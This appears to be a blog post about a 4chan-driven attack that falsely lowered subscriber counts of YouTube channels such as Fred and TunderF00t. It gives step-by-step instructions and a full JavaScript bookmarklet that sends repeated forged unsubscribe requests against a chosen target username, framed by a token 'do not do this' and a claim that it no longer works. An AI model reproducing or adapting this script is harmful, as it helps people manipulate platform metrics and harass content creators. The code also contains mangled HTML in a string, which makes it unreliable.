YouTube subscriber glitch Fred and TunderF00T got hacked

Anonymous with Guy Fawkes masks ...

Today multiple YouTube accounts got “hacked” it’s still going on the attack was perpetrated by the /B/tards of the ever more infamous 4Chan ” thanks moot”, accounts that were effected includes Fred and TunderF00t ,the problem has not yet been sorted, the  YouTube subscriber glitch allows an attacker to take out all of the subscribers of a channel, it uses a hole in the JavaScript lack of verification.

I will wright up how this script worked but for now here is the malicious code.

This is how it works, the script in the API usually requires a user to validate the action , the script overrides that and picks a random user to validate and un-subscribes them, the user isn’t in actuality un-subscribed and the counter is mealy decremented.YouTube  have had problems in the past with the counters being artificially increased, they haven’t fixed the problem and all they do is recount the subscribers.

DO not do this!!

1 Locate The target channel and subscribe

2 Open multiple page tabs

3 Paste this code into the browsers address bar

javascript:function unsubscribe() {
httpreq=new XMLHttpRequest();
httpreq.open('post', '/ajax_subscriptions?edit_subscription=newsub&username='+username+'&subscription_level=unsubscribe', false);
httpreq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpreq.send('session_token='+yt.getConfig('SUBSCRIBE_AXC'));
if(!httpreq.responseXML) {
setTimeout('unsubscribe()', timeout);
return;
}
if(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue!=' </address>
<h2>You have successfully unsubscribed.</h2>
') {
alert(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue);
} else if((window.status=++count)!=times) {
setTimeout('unsubscribe()', timeout);
} else {
alert('DUN');
}
}
count=0;
if((username=prompt('enter target\'s username', '\\*username here *\\'))!=null) {
if(!isNaN(timeout=parseInt(prompt('enter timeout in milliseconds', 250)))) {
if(!isNaN(times=parseInt(prompt('enter num of times to unsubscribe (0 = unlimited)', 0)))) {
unsubscribe();
}
}
}
void(0);

A quick note the code no longer works, there will be more attacks like this in the future so make sure you subscribe for more tips and hacks from the HackOBlog team, thanks to InfouPlink for the plug